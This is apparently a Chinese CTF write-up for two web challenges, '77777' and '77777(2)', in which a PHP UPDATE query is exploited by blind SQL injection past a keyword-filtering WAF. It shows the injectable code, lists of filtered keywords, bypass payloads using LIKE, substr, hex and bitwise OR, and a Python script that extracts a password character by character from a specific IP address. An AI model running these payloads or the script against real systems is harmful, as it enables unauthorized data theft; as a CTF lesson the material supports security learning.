两个题的代码都是一样的 只是waf不一样 贴出代码

<?php
function update_point($p,$point){
global $link;
$q = sprintf("UPDATE users SET point=%d%s",$p,waf($point));
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
if(!update_point($_POST['flag'],$_POST['hi']))
echo 'sorry';
?>

可以看到Post两个参数flag,hi用sprintf拼接,update语句进入数据库执行,flag为整数,参数hi的类型为字符串类型,所以我们可以通过改变hi的值,来检测哪些参数被过滤。

77777 分析(查询字段为 password)

首先我们检测哪些参数被过滤了。如果被过滤了会弹出fuck。

被过滤
updatexml
extractvalue
ascii
=
sleep
information_schema
没被过滤
select
substr
mid
like
where
length
in
hex
and
or
*
|
.....

绝大多数的函数都被禁止了,所以报错注入,时间盲注等都不能用,=号也被过滤了。所以这个时候我们可以用like来代替=来进行盲注

自己测试环境 创建users表,point 和 password字段

update users set point=1231 where substr(password,1,1) like 'h';

where后面语句的意思是 password字段的第一位如果和'h'相等 (即password第一个字段为'h'),则前面的语句会执行成功,Point会成为1231 如图 2.png成功执行



实际环境执行语句:

POST:flag=1231&hi= where length(password)>15 point 不为1231
POST:flag=1231&hi= where length(password)>14 point 为1231 说明password字段长度为15
POST:flag=1231&hi= where substr(password,1,1) like 'h' point为1231 说明password字段第一位为'h'
......

所以我们可以一个字段字段的跑,写python脚本。

#coding =  utf8
import requests
import time
string = "qwertyuiopasdfghjklzxcvbnm0123456789"
url = "http://47.52.137.90:20000/"
l = ""
for i in range(1,16):
for t in string:
PostData = {"flag":'14521',"hi":" where substr(password,1,%s) like '%s'"%(i,l+t)}
if "14521" in requests.post(url,data = PostData).text:
l = l+t
print i,l
time.sleep(1)
break

77777(2)分析(查询字段为pw)

被过滤了:
updatexml
extractvalue
ascii
=
sleep
in
like
where
<
(pw)
pw,
2
3
4
5
9
information_schema
and
or
没过滤:
select
length
>
substr
hex
|
0
1
6
7
8

这次我们能用的更少 连数字都被过滤了一些 但是我们仍然能能够绕过

最终Payload:3.png

update users set point='test' | hex(substr( password ,1,1))>(67) 执行成功,point变为1

介绍几个mysql知识

  • 可以在mysql直接进行加减 select (10+10) 输出 20
  • hex()函数是将字符或数字转换成Ascii码的16进制形式 select hex('h') 输出68

因为 2 3 4 5 9 (pw) 被过滤了所以我们可以用剩余数字组合进行加减来代替 (pw) => (%20pw%20)

所以Payload的含义是 将password字段的第一位进行hex编码,将得到的hex编码和67比较大小。

图4 图5 可知 pw字段的第一位hex编码为68 对照ascii码表可知 pw 第一位为h



图6 图7 可知 pw字段的第七位hex编码为37 对照ascii码表可知 pw 第七位为7



所以最终跑出来pw字段值

学到了很多

最新文章

  1. 学习Python函数笔记之二
  2. mathlab之floor,ceil,round,int以及fix函数
  3. php操作mysql数据库
  4. 注册dll失败
  5. Android IPC(inter-process Communitcation)
  6. Java线程生命模型
  7. Thymleaf——工作笔记本
  8. MySQL中怎么对varchar类型排序问题(转)
  9. MySQL Err(1024):Lock wait timeout exceeded; try restarting transaction
  10. spring4配置文件详解
  11. 全网最详细的如何在谷歌浏览器里正确下载并安装Postman【一款功能强大的网页调试与发送网页HTTP请求的Chrome插件】(图文详解)
  12. 面试官:&quot;谈谈分库分表吧?&quot;
  13. BZOJ1263 [SCOI2006]整数划分 高精度
  14. SCCM2012 R2实战系列之四:初始化配置
  15. Python Pycharm连接Ubantu Python环境
  16. poj 2773 Happy 2006 - 二分答案 - 容斥原理
  17. 【洛谷P1462】【二分+堆优化dij】
  18. 奇葩字符 &quot;a๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎&quot; 的简单分析
  19. 欢迎来到 Flask 的世界
  20. vc++2008 采用GSoap访问 WebService

热门文章

  1. Elasticsearch(GEO)数据写入和空间检索
  2. distcc 的使用
  3. RN配置 java和python环境
  4. SpringCloud 亿级流量 架构演进
  5. react-组件间的传值
  6. vue组件之间的通信方式
  7. Ajax之处理不同格式的JSON数据
  8. js 淡入淡出的tab选项卡
  9. Windows系统Git安装教程(详解Git安装过程)
  10. diango中让装了装饰器的函数的名字不是inner,而是原来的名字